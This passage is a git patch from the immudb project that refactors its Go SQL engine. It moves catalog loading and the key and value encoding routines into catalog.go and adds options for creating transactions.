WithSnapshotRenewalPeriod(snapshotRenewalPeriod time.Duration) *TxOptions { + opts.SnapshotRenewalPeriod = snapshotRenewalPeriod + return opts +} From c9016ca4bc8883fe5cb2a0e1586e7ec34fa5aca7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 23 Dec 2022 10:25:26 -0300 Subject: [PATCH 0087/1062] feat(embedded/sql): sql transaction creation with options Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 772 +++++++++++++++++++ embedded/sql/engine.go | 960 ++---------------------- embedded/sql/engine_test.go | 2 +- embedded/sql/grouped_row_reader_test.go | 2 +- embedded/sql/joint_row_reader_test.go | 2 +- embedded/sql/options.go | 22 +- embedded/sql/options_test.go | 16 +- embedded/sql/sql_tx.go | 146 ++++ embedded/sql/sql_tx_options.go | 75 ++ embedded/sql/stmt.go | 2 +- 10 files changed, 1070 insertions(+), 929 deletions(-) create mode 100644 embedded/sql/sql_tx.go create mode 100644 embedded/sql/sql_tx_options.go diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index fee8d3dbeb..c04c03ffde 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -17,8 +17,13 @@ limitations under the License. package sql import ( + "bytes" + "encoding/binary" "fmt" "strings" + "time" + + "github.com/codenotary/immudb/embedded/store" ) type Catalog struct { @@ -512,3 +517,770 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { return maxLen >= 0 } + +func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { + dbReaderSpec := store.KeyReaderSpec{ + Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + dbReader, err := tx.NewKeyReader(dbReaderSpec) + if err != nil { + return err + } + defer dbReader.Close() + + for { + mkey, vref, err := dbReader.Read() + if err == store.ErrNoMoreEntries { + break + } + if err != nil { + return err + } + + id, err := unmapDatabaseID(sqlPrefix, mkey) + if err != nil { + return err + } + + v, err := vref.Resolve() + if err != nil { + return err + } + + db, err := c.newDatabase(id, string(v)) + if err != nil { + return err + } + + err = db.loadTables(sqlPrefix, tx) + if err != nil { + return err + } + } + + return nil +} + +func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { + dbReaderSpec := store.KeyReaderSpec{ + Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(db.id)), + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + tableReader, err := tx.NewKeyReader(dbReaderSpec) + if err != nil { + return err + } + defer tableReader.Close() + + for { + mkey, vref, err := tableReader.Read() + if err == store.ErrNoMoreEntries { + break + } + if err != nil { + return err + } + + dbID, tableID, err := unmapTableID(sqlPrefix, mkey) + if err != nil { + return err + } + + if dbID != db.id { + return ErrCorruptedData + } + + colSpecs, err := loadColSpecs(db.id, tableID, tx, sqlPrefix) + if err != nil { + return err + } + + v, err := vref.Resolve() + if err != nil { + return err + } + + table, err := db.newTable(string(v), colSpecs) + if err != nil { + return err + } + + if tableID != table.id { + return ErrCorruptedData + } + + err = table.loadIndexes(sqlPrefix, tx) + if err != nil { + return err + } + + if table.autoIncrementPK { + encMaxPK, err := loadMaxPK(sqlPrefix, tx, table) + if err == store.ErrNoMoreEntries { + continue + } + if err != nil { + return err + } + + if len(encMaxPK) != 9 { + return ErrCorruptedData + } + + if encMaxPK[0] != KeyValPrefixNotNull { + return ErrCorruptedData + } + + // map to signed integer space + encMaxPK[1] ^= 0x80 + + table.maxPK = int64(binary.BigEndian.Uint64(encMaxPK[1:])) + } + } + + return nil +} + +func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { + pkReaderSpec := store.KeyReaderSpec{ + Prefix: mapKey(sqlPrefix, PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(PKIndexID)), + DescOrder: true, + } + + pkReader, err := tx.NewKeyReader(pkReaderSpec) + if err != nil { + return nil, err + } + defer pkReader.Close() + + mkey, _, err := pkReader.Read() + if err != nil { + return nil, err + } + + return unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey) +} + +func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { + initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) + + dbReaderSpec := store.KeyReaderSpec{ + Prefix: initialKey, + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + colSpecReader, err := tx.NewKeyReader(dbReaderSpec) + if err != nil { + return nil, err + } + defer colSpecReader.Close() + + specs = make([]*ColSpec, 0) + + for { + mkey, vref, err := colSpecReader.Read() + if err == store.ErrNoMoreEntries { + break + } + if err != nil { + return nil, err + } + + mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) + if err != nil { + return nil, err + } + + if dbID != mdbID || tableID != mtableID { + return nil, ErrCorruptedData + } + + v, err := vref.Resolve() + if err != nil { + return nil, err + } + if len(v) < 6 { + return nil, ErrCorruptedData + } + + spec := &ColSpec{ + colName: string(v[5:]), + colType: colType, + maxLen: int(binary.BigEndian.Uint32(v[1:])), + autoIncrement: v[0]&autoIncrementFlag != 0, + notNull: v[0]&nullableFlag != 0, + } + + specs = append(specs, spec) + + if int(colID) != len(specs) { + return nil, ErrCorruptedData + } + } + + return +} + +func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { + initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id)) + + idxReaderSpec := store.KeyReaderSpec{ + Prefix: initialKey, + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) + if err != nil { + return err + } + defer idxSpecReader.Close() + + for { + mkey, vref, err := idxSpecReader.Read() + if err == store.ErrNoMoreEntries { + break + } + if err != nil { + return err + } + + dbID, tableID, indexID, err := unmapIndex(sqlPrefix, mkey) + if err != nil { + return err + } + + if table.id != tableID || table.db.id != dbID { + return ErrCorruptedData + } + + v, err := vref.Resolve() + if err != nil { + return err + } + + // v={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)} + colSpecLen := EncIDLen + 1 + + if len(v) < 1+colSpecLen || len(v)%colSpecLen != 1 { + return ErrCorruptedData + } + + var colIDs []uint32 + + for i := 1; i < len(v); i += colSpecLen { + colID := binary.BigEndian.Uint32(v[i:]) + + // TODO: currently only ASC order is supported + if v[i+EncIDLen] != 0 { + return ErrCorruptedData + } + + colIDs = append(colIDs, colID) + } + + index, err := table.newIndex(v[0] > 0, colIDs) + if err != nil { + return err + } + + if indexID != index.id { + return ErrCorruptedData + } + } + + return nil +} + +func trimPrefix(prefix, mkey []byte, mappingPrefix []byte) ([]byte, error) { + if len(prefix)+len(mappingPrefix) > len(mkey) || + !bytes.Equal(prefix, mkey[:len(prefix)]) || + !bytes.Equal(mappingPrefix, mkey[len(prefix):len(prefix)+len(mappingPrefix)]) { + return nil, ErrIllegalMappedKey + } + + return mkey[len(prefix)+len(mappingPrefix):], nil +} + +func unmapDatabaseID(prefix, mkey []byte) (dbID uint32, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(catalogDatabasePrefix)) + if err != nil { + return 0, err + } + + if len(encID) != EncIDLen { + return 0, ErrCorruptedData + } + + return binary.BigEndian.Uint32(encID), nil +} + +func unmapTableID(prefix, mkey []byte) (dbID, tableID uint32, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(catalogTablePrefix)) + if err != nil { + return 0, 0, err + } + + if len(encID) != EncIDLen*2 { + return 0, 0, ErrCorruptedData + } + + dbID = binary.BigEndian.Uint32(encID) + tableID = binary.BigEndian.Uint32(encID[EncIDLen:]) + + return +} + +func unmapColSpec(prefix, mkey []byte) (dbID, tableID, colID uint32, colType SQLValueType, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(catalogColumnPrefix)) + if err != nil { + return 0, 0, 0, "", err + } + + if len(encID) < EncIDLen*3 { + return 0, 0, 0, "", ErrCorruptedData + } + + dbID = binary.BigEndian.Uint32(encID) + tableID = binary.BigEndian.Uint32(encID[EncIDLen:]) + colID = binary.BigEndian.Uint32(encID[2*EncIDLen:]) + + colType, err = asType(string(encID[EncIDLen*3:])) + if err != nil { + return 0, 0, 0, "", ErrCorruptedData + } + + return +} + +func asType(t string) (SQLValueType, error) { + if t == IntegerType || + t == BooleanType || + t == VarcharType || + t == BLOBType || + t == TimestampType { + return t, nil + } + + return t, ErrCorruptedData +} + +func unmapIndex(sqlPrefix, mkey []byte) (dbID, tableID, indexID uint32, err error) { + encID, err := trimPrefix(sqlPrefix, mkey, []byte(catalogIndexPrefix)) + if err != nil { + return 0, 0, 0, err + } + + if len(encID) != EncIDLen*3 { + return 0, 0, 0, ErrCorruptedData + } + + dbID = binary.BigEndian.Uint32(encID) + tableID = binary.BigEndian.Uint32(encID[EncIDLen:]) + indexID = binary.BigEndian.Uint32(encID[EncIDLen*2:]) + + return +} + +func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, err error) { + if index == nil { + return nil, ErrIllegalArguments + } + + enc, err := trimPrefix(sqlPrefix, mkey, []byte(index.prefix())) + if err != nil { + return nil, ErrCorruptedData + } + + if len(enc) <= EncIDLen*3 { + return nil, ErrCorruptedData + } + + off := 0 + + dbID := binary.BigEndian.Uint32(enc[off:]) + off += EncIDLen + + tableID := binary.BigEndian.Uint32(enc[off:]) + off += EncIDLen + + indexID := binary.BigEndian.Uint32(enc[off:]) + off += EncIDLen + + if dbID != index.table.db.id || tableID != index.table.id || indexID != index.id { + return nil, ErrCorruptedData + } + + if !index.IsPrimary() { + //read index values + for _, col := range index.cols { + if enc[off] == KeyValPrefixNull { + off += 1 + continue + } + if enc[off] != KeyValPrefixNotNull { + return nil, ErrCorruptedData + } + off += 1 + + maxLen := col.MaxLen() + if variableSized(col.colType) { + maxLen += EncLenLen + } + if len(enc)-off < maxLen { + return nil, ErrCorruptedData + } + + off += maxLen + } + } + + //PK cannot be nil + if len(enc)-off < 1 { + return nil, ErrCorruptedData + } + + return enc[off:], nil +} + +func variableSized(sqlType SQLValueType) bool { + return sqlType == VarcharType || sqlType == BLOBType +} + +func mapKey(prefix []byte, mappingPrefix string, encValues ...[]byte) []byte { + return MapKey(prefix, mappingPrefix, encValues...) +} + +func MapKey(prefix []byte, mappingPrefix string, encValues ...[]byte) []byte { + mkeyLen := len(prefix) + len(mappingPrefix) + + for _, ev := range encValues { + mkeyLen += len(ev) + } + + mkey := make([]byte, mkeyLen) + + off := 0 + + copy(mkey, prefix) + off += len(prefix) + + copy(mkey[off:], []byte(mappingPrefix)) + off += len(mappingPrefix) + + for _, ev := range encValues { + copy(mkey[off:], ev) + off += len(ev) + } + + return mkey +} + +func EncodeID(id uint32) []byte { + var encID [EncIDLen]byte + binary.BigEndian.PutUint32(encID[:], id) + return encID[:] +} + +func EncodeValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { + switch colType { + case VarcharType: + { + strVal, ok := val.(string) + if !ok { + return nil, fmt.Errorf( + "value is not a string: %w", ErrInvalidValue, + ) + } + + if maxLen > 0 && len(strVal) > maxLen { + return nil, ErrMaxLengthExceeded + } + + // len(v) + v + encv := make([]byte, EncLenLen+len(strVal)) + binary.BigEndian.PutUint32(encv[:], uint32(len(strVal))) + copy(encv[EncLenLen:], []byte(strVal)) + + return encv, nil + } + case IntegerType: + { + intVal, ok := val.(int64) + if !ok { + return nil, fmt.Errorf( + "value is not an integer: %w", ErrInvalidValue, + ) + } + + // map to unsigned integer space + // len(v) + v + var encv [EncLenLen + 8]byte + binary.BigEndian.PutUint32(encv[:], uint32(8)) + binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(intVal)) + + return encv[:], nil + } + case BooleanType: + { + boolVal, ok := val.(bool) + if !ok { + return nil, fmt.Errorf( + "value is not a boolean: %w", ErrInvalidValue, + ) + } + + // len(v) + v + var encv [EncLenLen + 1]byte + binary.BigEndian.PutUint32(encv[:], uint32(1)) + if boolVal { + encv[EncLenLen] = 1 + } + + return encv[:], nil + } + case BLOBType: + { + var blobVal []byte + + if val != nil { + v, ok := val.([]byte) + if !ok { + return nil, fmt.Errorf( + "value is not a blob: %w", ErrInvalidValue, + ) + } + blobVal = v + } + + if maxLen > 0 && len(blobVal) > maxLen { + return nil, ErrMaxLengthExceeded + } + + // len(v) + v + encv := make([]byte, EncLenLen+len(blobVal)) + binary.BigEndian.PutUint32(encv[:], uint32(len(blobVal))) + copy(encv[EncLenLen:], blobVal) + + return encv[:], nil + } + case TimestampType: + { + timeVal, ok := val.(time.Time) + if !ok { + return nil, fmt.Errorf( + "value is not a timestamp: %w", ErrInvalidValue, + ) + } + + // len(v) + v + var encv [EncLenLen + 8]byte + binary.BigEndian.PutUint32(encv[:], uint32(8)) + binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(TimeToInt64(timeVal))) + + return encv[:], nil + } + } + + return nil, ErrInvalidValue +} + +const ( + KeyValPrefixNull byte = 0x20 + KeyValPrefixNotNull byte = 0x80 + KeyValPrefixUpperBound byte = 0xFF +) + +func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { + if maxLen <= 0 { + return nil, ErrInvalidValue + } + if maxLen > maxKeyLen { + return nil, ErrMaxKeyLengthExceeded + } + + if val == nil { + return []byte{KeyValPrefixNull}, nil + } + + switch colType { + case VarcharType: + { + strVal, ok := val.(string) + if !ok { + return nil, fmt.Errorf( + "value is not a string: %w", ErrInvalidValue, + ) + } + + if len(strVal) > maxLen { + return nil, ErrMaxLengthExceeded + } + + // notnull + value + padding + len(value) + encv := make([]byte, 1+maxLen+EncLenLen) + encv[0] = KeyValPrefixNotNull + copy(encv[1:], []byte(strVal)) + binary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(strVal))) + + return encv, nil + } + case IntegerType: + { + if maxLen != 8 { + return nil, ErrCorruptedData + } + + intVal, ok := val.(int64) + if !ok { + return nil, fmt.Errorf( + "value is not an integer: %w", ErrInvalidValue, + ) + } + + // v + var encv [9]byte + encv[0] = KeyValPrefixNotNull + binary.BigEndian.PutUint64(encv[1:], uint64(intVal)) + // map to unsigned integer space for lexical sorting order + encv[1] ^= 0x80 + + return encv[:], nil + } + case BooleanType: + { + if maxLen != 1 { + return nil, ErrCorruptedData + } + + boolVal, ok := val.(bool) + if !ok { + return nil, fmt.Errorf( + "value is not a boolean: %w", ErrInvalidValue, + ) + } + + // v + var encv [2]byte + encv[0] = KeyValPrefixNotNull + if boolVal { + encv[1] = 1 + } + + return encv[:], nil + } + case BLOBType: + { + blobVal, ok := val.([]byte) + if !ok { + return nil, fmt.Errorf( + "value is not a blob: %w", ErrInvalidValue, + ) + } + + if len(blobVal) > maxLen { + return nil, ErrMaxLengthExceeded + } + + // notnull + value + padding + len(value) + encv := make([]byte, 1+maxLen+EncLenLen) + encv[0] = KeyValPrefixNotNull + copy(encv[1:], []byte(blobVal)) + binary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(blobVal))) + + return encv, nil + } + case TimestampType: + { + if maxLen != 8 { + return nil, ErrCorruptedData + } + + timeVal, ok := val.(time.Time) + if !ok { + return nil, fmt.Errorf( + "value is not a timestamp: %w", ErrInvalidValue, + ) + } + + // v + var encv [9]byte + encv[0] = KeyValPrefixNotNull + binary.BigEndian.PutUint64(encv[1:], uint64(timeVal.UnixNano())) + // map to unsigned integer space for lexical sorting order + encv[1] ^= 0x80 + + return encv[:], nil + } + + } + + return nil, ErrInvalidValue +} + +func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { + if len(b) < EncLenLen { + return nil, 0, ErrCorruptedData + } + + vlen := int(binary.BigEndian.Uint32(b[:])) + voff := EncLenLen + + if vlen < 0 || len(b) < voff+vlen { + return nil, 0, ErrCorruptedData + } + + switch colType { + case VarcharType: + { + v := string(b[voff : voff+vlen]) + voff += vlen + + return &Varchar{val: v}, voff, nil + } + case IntegerType: + { + if vlen != 8 { + return nil, 0, ErrCorruptedData + } + + v := binary.BigEndian.Uint64(b[voff:]) + voff += vlen + + return &Number{val: int64(v)}, voff, nil + } + case BooleanType: + { + if vlen != 1 { + return nil, 0, ErrCorruptedData + } + + v := b[voff] == 1 + voff += 1 + + return &Bool{val: v}, voff, nil + } + case BLOBType: + { + v := b[voff : voff+vlen] + voff += vlen + + return &Blob{val: v}, voff, nil + } + case TimestampType: + { + if vlen != 8 { + return nil, 0, ErrCorruptedData + } + + v := binary.BigEndian.Uint64(b[voff:]) + voff += vlen + + return &Timestamp{val: TimeFromInt64(int64(v))}, voff, nil + } + } + + return nil, 0, ErrCorruptedData +} diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 2d7eca5647..b9b84e5718 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -17,14 +17,11 @@ limitations under the License. package sql import ( - "bytes" "context" - "encoding/binary" "errors" "fmt" "strings" "sync" - "time" "github.com/codenotary/immudb/embedded/store" ) @@ -117,34 +114,16 @@ type MultiDBHandler interface { ExecPreparedStmts(ctx context.Context, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) } -// SQLTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW -type SQLTx struct { - engine *Engine - - ctx context.Context - - tx *store.OngoingTx - - currentDB *Database - catalog *Catalog // in-mem catalog - - explicitClose bool - - updatedRows int - lastInsertedPKs map[string]int64 // last inserted PK by table name - firstInsertedPKs map[string]int64 // first inserted PK by table name - - txHeader *store.TxHeader // header is set once tx is committed - - committed bool - closed bool -} - func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { - if store == nil || !ValidOpts(opts) { + if store == nil { return nil, ErrIllegalArguments } + err := opts.Validate() + if err != nil { + return nil, err + } + e := &Engine{ store: store, prefix: make([]byte, len(opts.prefix)), @@ -168,7 +147,7 @@ func (e *Engine) SetMultiDBHandler(handler MultiDBHandler) { } func (e *Engine) SetCurrentDatabase(dbName string) error { - tx, err := e.NewTx(context.Background()) + tx, err := e.NewTx(context.Background(), DefaultTxOptions()) if err != nil { return err } @@ -194,11 +173,22 @@ func (e *Engine) CurrentDatabase() string { return e.currentDatabase } -func (e *Engine) NewTx(ctx context.Context) (*SQLTx, error) { +func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { + err := opts.Validate() + if err != nil { + return nil, err + } + + txOpts := &store.TxOptions{ + Mode: store.TxMode(opts.Mode), + SnapshotNotOlderThanTx: opts.SnapshotNotOlderThanTx, + SnapshotRenewalPeriod: opts.SnapshotRenewalPeriod, + } + e.mutex.RLock() defer e.mutex.RUnlock() - tx, err := e.store.NewTx() + tx, err := e.store.NewTx(txOpts) if err != nil { return nil, err } @@ -224,6 +214,7 @@ func (e *Engine) NewTx(ctx context.Context) (*SQLTx, error) { return &SQLTx{ engine: e, ctx: ctx, + opts: opts, tx: tx, catalog: catalog, currentDB: currentDB, @@ -232,886 +223,6 @@ func (e *Engine) NewTx(ctx context.Context) (*SQLTx, error) { }, nil } -func (sqlTx *SQLTx) useDatabase(dbName string) error { - db, err := sqlTx.catalog.GetDatabaseByName(dbName) - if err != nil { - return err - } - - sqlTx.currentDB = db - - return nil -} - -func (sqlTx *SQLTx) Database() *Database { - return sqlTx.currentDB -} - -func (sqlTx *SQLTx) Timestamp() time.Time { - return sqlTx.tx.Timestamp() -} - -func (sqlTx *SQLTx) UpdatedRows() int { - return sqlTx.updatedRows -} - -func (sqlTx *SQLTx) LastInsertedPKs() map[string]int64 { - return sqlTx.lastInsertedPKs -} - -func (sqlTx *SQLTx) FirstInsertedPKs() map[string]int64 { - return sqlTx.firstInsertedPKs -} - -func (sqlTx *SQLTx) TxHeader() *store.TxHeader { - return sqlTx.txHeader -} - -func (sqlTx *SQLTx) sqlPrefix() []byte { - return sqlTx.engine.prefix -} - -func (sqlTx *SQLTx) distinctLimit() int { - return sqlTx.engine.distinctLimit -} - -func (sqlTx *SQLTx) newKeyReader(rSpec store.KeyReaderSpec) (store.KeyReader, error) { - return sqlTx.tx.NewKeyReader(rSpec) -} - -func (sqlTx *SQLTx) get(key []byte) (store.ValueRef, error) { - return sqlTx.tx.Get(key) -} - -func (sqlTx *SQLTx) set(key []byte, metadata *store.KVMetadata, value []byte) error { - return sqlTx.tx.Set(key, metadata, value) -} - -func (sqlTx *SQLTx) existKeyWith(prefix, neq []byte) (bool, error) { - _, _, err := sqlTx.tx.GetWithPrefix(prefix, neq) - if errors.Is(err, store.ErrKeyNotFound) { - return false, nil - } - - return err == nil, err -} - -func (sqlTx *SQLTx) Cancel() error { - if sqlTx.closed { - return ErrAlreadyClosed - } - - sqlTx.closed = true - - return sqlTx.tx.Cancel() -} - -func (sqlTx *SQLTx) commit() error { - if sqlTx.closed { - return ErrAlreadyClosed - } - - sqlTx.committed = true - sqlTx.closed = true - - hdr, err := sqlTx.tx.Commit() - if err != nil && err != store.ErrorNoEntriesProvided { - return err - } - - sqlTx.txHeader = hdr - - return nil -} - -func (sqlTx *SQLTx) Closed() bool { - return sqlTx.closed -} - -func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { - dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - dbReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return err - } - defer dbReader.Close() - - for { - mkey, vref, err := dbReader.Read() - if err == store.ErrNoMoreEntries { - break - } - if err != nil { - return err - } - - id, err := unmapDatabaseID(sqlPrefix, mkey) - if err != nil { - return err - } - - v, err := vref.Resolve() - if err != nil { - return err - } - - db, err := c.newDatabase(id, string(v)) - if err != nil { - return err - } - - err = db.loadTables(sqlPrefix, tx) - if err != nil { - return err - } - } - - return nil -} - -func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { - dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(db.id)), - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - tableReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return err - } - defer tableReader.Close() - - for { - mkey, vref, err := tableReader.Read() - if err == store.ErrNoMoreEntries { - break - } - if err != nil { - return err - } - - dbID, tableID, err := unmapTableID(sqlPrefix, mkey) - if err != nil { - return err - } - - if dbID != db.id { - return ErrCorruptedData - } - - colSpecs, err := loadColSpecs(db.id, tableID, tx, sqlPrefix) - if err != nil { - return err - } - - v, err := vref.Resolve() - if err != nil { - return err - } - - table, err := db.newTable(string(v), colSpecs) - if err != nil { - return err - } - - if tableID != table.id { - return ErrCorruptedData - } - - err = table.loadIndexes(sqlPrefix, tx) - if err != nil { - return err - } - - if table.autoIncrementPK { - encMaxPK, err := loadMaxPK(sqlPrefix, tx, table) - if err == store.ErrNoMoreEntries { - continue - } - if err != nil { - return err - } - - if len(encMaxPK) != 9 { - return ErrCorruptedData - } - - if encMaxPK[0] != KeyValPrefixNotNull { - return ErrCorruptedData - } - - // map to signed integer space - encMaxPK[1] ^= 0x80 - - table.maxPK = int64(binary.BigEndian.Uint64(encMaxPK[1:])) - } - } - - return nil -} - -func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { - pkReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(PKIndexID)), - DescOrder: true, - } - - pkReader, err := tx.NewKeyReader(pkReaderSpec) - if err != nil { - return nil, err - } - defer pkReader.Close() - - mkey, _, err := pkReader.Read() - if err != nil { - return nil, err - } - - return unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey) -} - -func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { - initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) - - dbReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - colSpecReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return nil, err - } - defer colSpecReader.Close() - - specs = make([]*ColSpec, 0) - - for { - mkey, vref, err := colSpecReader.Read() - if err == store.ErrNoMoreEntries { - break - } - if err != nil { - return nil, err - } - - mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) - if err != nil { - return nil, err - } - - if dbID != mdbID || tableID != mtableID { - return nil, ErrCorruptedData - } - - v, err := vref.Resolve() - if err != nil { - return nil, err - } - if len(v) < 6 { - return nil, ErrCorruptedData - } - - spec := &ColSpec{ - colName: string(v[5:]), - colType: colType, - maxLen: int(binary.BigEndian.Uint32(v[1:])), - autoIncrement: v[0]&autoIncrementFlag != 0, - notNull: v[0]&nullableFlag != 0, - } - - specs = append(specs, spec) - - if int(colID) != len(specs) { - return nil, ErrCorruptedData - } - } - - return -} - -func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id)) - - idxReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) - if err != nil { - return err - } - defer idxSpecReader.Close() - - for { - mkey, vref, err := idxSpecReader.Read() - if err == store.ErrNoMoreEntries { - break - } - if err != nil { - return err - } - - dbID, tableID, indexID, err := unmapIndex(sqlPrefix, mkey) - if err != nil { - return err - } - - if table.id != tableID || table.db.id != dbID { - return ErrCorruptedData - } - - v, err := vref.Resolve() - if err != nil { - return err - } - - // v={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)} - colSpecLen := EncIDLen + 1 - - if len(v) < 1+colSpecLen || len(v)%colSpecLen != 1 { - return ErrCorruptedData - } - - var colIDs []uint32 - - for i := 1; i < len(v); i += colSpecLen { - colID := binary.BigEndian.Uint32(v[i:]) - - // TODO: currently only ASC order is supported - if v[i+EncIDLen] != 0 { - return ErrCorruptedData - } - - colIDs = append(colIDs, colID) - } - - index, err := table.newIndex(v[0] > 0, colIDs) - if err != nil { - return err - } - - if indexID != index.id { - return ErrCorruptedData - } - } - - return nil -} - -func trimPrefix(prefix, mkey []byte, mappingPrefix []byte) ([]byte, error) { - if len(prefix)+len(mappingPrefix) > len(mkey) || - !bytes.Equal(prefix, mkey[:len(prefix)]) || - !bytes.Equal(mappingPrefix, mkey[len(prefix):len(prefix)+len(mappingPrefix)]) { - return nil, ErrIllegalMappedKey - } - - return mkey[len(prefix)+len(mappingPrefix):], nil -} - -func unmapDatabaseID(prefix, mkey []byte) (dbID uint32, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(catalogDatabasePrefix)) - if err != nil { - return 0, err - } - - if len(encID) != EncIDLen { - return 0, ErrCorruptedData - } - - return binary.BigEndian.Uint32(encID), nil -} - -func unmapTableID(prefix, mkey []byte) (dbID, tableID uint32, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(catalogTablePrefix)) - if err != nil { - return 0, 0, err - } - - if len(encID) != EncIDLen*2 { - return 0, 0, ErrCorruptedData - } - - dbID = binary.BigEndian.Uint32(encID) - tableID = binary.BigEndian.Uint32(encID[EncIDLen:]) - - return -} - -func unmapColSpec(prefix, mkey []byte) (dbID, tableID, colID uint32, colType SQLValueType, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(catalogColumnPrefix)) - if err != nil { - return 0, 0, 0, "", err - } - - if len(encID) < EncIDLen*3 { - return 0, 0, 0, "", ErrCorruptedData - } - - dbID = binary.BigEndian.Uint32(encID) - tableID = binary.BigEndian.Uint32(encID[EncIDLen:]) - colID = binary.BigEndian.Uint32(encID[2*EncIDLen:]) - - colType, err = asType(string(encID[EncIDLen*3:])) - if err != nil { - return 0, 0, 0, "", ErrCorruptedData - } - - return -} - -func asType(t string) (SQLValueType, error) { - if t == IntegerType || - t == BooleanType || - t == VarcharType || - t == BLOBType || - t == TimestampType { - return t, nil - } - - return t, ErrCorruptedData -} - -func unmapIndex(sqlPrefix, mkey []byte) (dbID, tableID, indexID uint32, err error) { - encID, err := trimPrefix(sqlPrefix, mkey, []byte(catalogIndexPrefix)) - if err != nil { - return 0, 0, 0, err - } - - if len(encID) != EncIDLen*3 { - return 0, 0, 0, ErrCorruptedData - } - - dbID = binary.BigEndian.Uint32(encID) - tableID = binary.BigEndian.Uint32(encID[EncIDLen:]) - indexID = binary.BigEndian.Uint32(encID[EncIDLen*2:]) - - return -} - -func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, err error) { - if index == nil { - return nil, ErrIllegalArguments - } - - enc, err := trimPrefix(sqlPrefix, mkey, []byte(index.prefix())) - if err != nil { - return nil, ErrCorruptedData - } - - if len(enc) <= EncIDLen*3 { - return nil, ErrCorruptedData - } - - off := 0 - - dbID := binary.BigEndian.Uint32(enc[off:]) - off += EncIDLen - - tableID := binary.BigEndian.Uint32(enc[off:]) - off += EncIDLen - - indexID := binary.BigEndian.Uint32(enc[off:]) - off += EncIDLen - - if dbID != index.table.db.id || tableID != index.table.id || indexID != index.id { - return nil, ErrCorruptedData - } - - if !index.IsPrimary() { - //read index values - for _, col := range index.cols { - if enc[off] == KeyValPrefixNull { - off += 1 - continue - } - if enc[off] != KeyValPrefixNotNull { - return nil, ErrCorruptedData - } - off += 1 - - 